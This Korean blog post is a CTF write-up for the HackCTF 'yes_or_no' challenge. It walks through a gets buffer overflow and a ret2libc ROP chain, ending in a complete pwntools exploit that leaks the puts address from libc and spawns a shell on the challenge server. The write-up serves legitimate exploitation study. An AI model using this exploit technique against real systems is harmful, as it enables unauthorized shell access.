Execute
파일을 실행해보면 문자가 들어 올 때와 숫자가 들어왔을 때 결과가 다르게 나온다. 또한 앞선 문제들과 다르게 libc.so파일을 함께 제공한다.
Analyze
현재 Nxbit가 걸려있으므로 shellcode를 직접 올려서 공격은 불가능 할 것 같다.
일단 프로그램에서 어느 부분을 공격해야 할지 확인하기 위해 IDA를 통해 확인해보자
Main
main함수를 보면 복잡하다기 보다는 if문과 변수들이 난장판으로 사용되고있어서 알아보기 힘들다. 먼저 핵심만 보자면
해당 로직이 참일 경우 gets함수를 사용해 s에 입력을 받는데 여기서 buffer overflow를 발생 시킬 수 있을 것이다. Nxbit가 걸려있으나 main 이외에 ret를 변조해서 shell을 획득할수 있을 만한 함수들은 보이지 않았다.
Solve
일단 gets를 호출하기 위한 조건이 무엇인지 확인해야한다. 변수들을 직접 계산기에 넣어보며 계산할 수 도 있지만 더 효율적인 방법으로 gdb에서 cmp를 통해 비교하는 부분에서 레지스터에 들어있는 값을 확인하면 더 효율적으로 계산할 수 있을 것이다.
gets함수를 호출하는 cmp명령을 확인 할 수 있었다. 따라서 main+237부분에 break point를 걸고 eax에 들어있는 값을 확인하면 앞서 확인한 if문을 통과한는데 필요한 값을 얻을 수 있을것이다.
Rax에 들어 있는 값이 0x960000인 것을 확인 할 수 있다. 해당 값을 10진수로 바꾸면 아래와 같다.
따라서 여기까지 gets 함수를 호출 시키기 위한 if문 통과 조건을 획득하였다.
현재 shellcode를 실행 시킬 수 없는 상황이기 때문에 RTL이나 ROP를 사용해서 shell을 얻어야 할 것 같다. 추측이지만 주어진 libc.so파일을 통해 함수의 offset을 연산하고 서버쪽에서 base를 leak해서 system함수를 실행시키면 될 것 같다.
먼저 코드에서 leak할수 있는 부분을 찾아보자.
puts함수가 가장 유력해보인다. 여기서 굳이 leak해야하는 이유는 ASLR때문에 라이브러리 함수의 주소가 바뀌기 때문이다. 다만 offset은 고정되기 때문에 base를 leak한다면 원하는 함수를 호출 할 수 있다.
Puts의 plt와 got를 먼저 찾아보자.
Puts_plt = 0x400580
Puts_got = 0x601018
이부분에서 사용할 rop gadget은 (pop rdi ; ret) (ret)이다. Ropgadget를 이용해 찾아주었다.
pop rdi ; ret : 0x400883
ret : 0x40056e
추가적으로 memory를 leak한 이후 main 으로 돌아와야하므로 main의 address역시 필요하다.
이제 앞서 떨어진 leak되어진 값을 기반으로 구해진 base에서 필요한 offset을 더해 주기위해 puts의 address와 system, /bin/sh의 offset을 구해야 한다. 해당부분을 다 계산하기보다는 pwntools에 내장 되어있는 기능을 이용해 찾는게 더 빠를 것 같다는 생각을 하였다.
결과적으로 시나리오는 아래와 같을 것이다.
- Puts의 주소를 leak한다.
- Puts의 address를 기반으로 puts의 offset을 빼 base의 address를 찾는다.
- Base의 address를 기반으로 system함수와 /bin/sh의 주소를 연산한다.
- main으로 돌아온다.
- 연산한 address들을 기반으로 exploit을 한다.
따라서 필요한 값들을 정리하면
- puts_got
- puts_plt
- system_offset
- puts_offset
- /bin/sh offset
- main offset
- rdi_ret
- ret
이렇게 필요할 것이다. 또한 결과적으로 exploit 은 memory를 leak하는 부분 실제 공격을 수행하는 부분으로 크게 두부분으로 나누어질 것이다. 각각의 payload는 아래와 같을 것이다.
Payload1(memory leak)
dummy(0x12) + sfp(8) + rdi_ret gadget + puts_got + puts_plt + main
Payload2
Dummy(0x12) + sfp(8) + rdi_ret gadget + /bin/sh + ret + system
결과적으로 exploit을 작성해보자
from pwn import *
r = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = e.libc
libc = ELF("libc-2.27.so")
#address
puts_got = e.got['puts']
puts_plt = e.plt['puts']
main = e.symbols['main']
system_offset = libc.symbols['system']
puts_offset = libc.symbols['puts']
binshadd = next(libc.search(b'/bin/sh'))
#gadget
rdi_ret = 0x0000000000400883
ret = 0x000000000040056e
#memory leak
payload = b"A"*0x12 +b"A"*0x8
payload += p64(rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
print(r.recvuntil("Show me your number~!\n"))
r.sendline("9830400")
print(r.recvuntil("That's cool. Follow me\n"))
r.sendline(payload)
#calculate address
puts_add = r.recv(6)
puts_add +=b"\x00\x00"
puts_add = u64(puts_add)
base_add = puts_add - puts_offset
system_add = base_add + system_offset
binsh = base_add + binshadd
print(hex(puts_add))
print(hex(base_add))
print(hex(system_add))
print(hex(binsh))
#exploit
payload2 = b"A"*0x12 +b"A"*0x8
payload2 += p64(rdi_ret)
payload2 += p64(binsh)
payload2 += p64(ret)
payload2 += p64(system_add)
print(r.recvuntil("Show me your number~!\n"))
r.sendline("9830400")
print(r.recvuntil("That's cool. Follow me\n"))
r.sendline(payload2)
r.interactive()
성공적으로 flag를 얻을 수 있었다 문제가 갑자기 어려워져서 당황을 많이 한 것 같다. 64bit라서 gadgat쓸때도 삽질을 많이 한 것 같다.
'Wargmae > HackCTF' 카테고리의 다른 글
[Hack CTF - g++pwn] (1) | 2021.01.11 |
---|---|
[Hack CTF - RTL_World] (2) | 2021.01.10 |
[Hack CTF - BOF_PIE] (0) | 2021.01.09 |
[Hack CTF – Simple_Overflow_ver_2] (0) | 2021.01.06 |
[Hack CTF – x64 Simple_size_BOF] (0) | 2021.01.05 |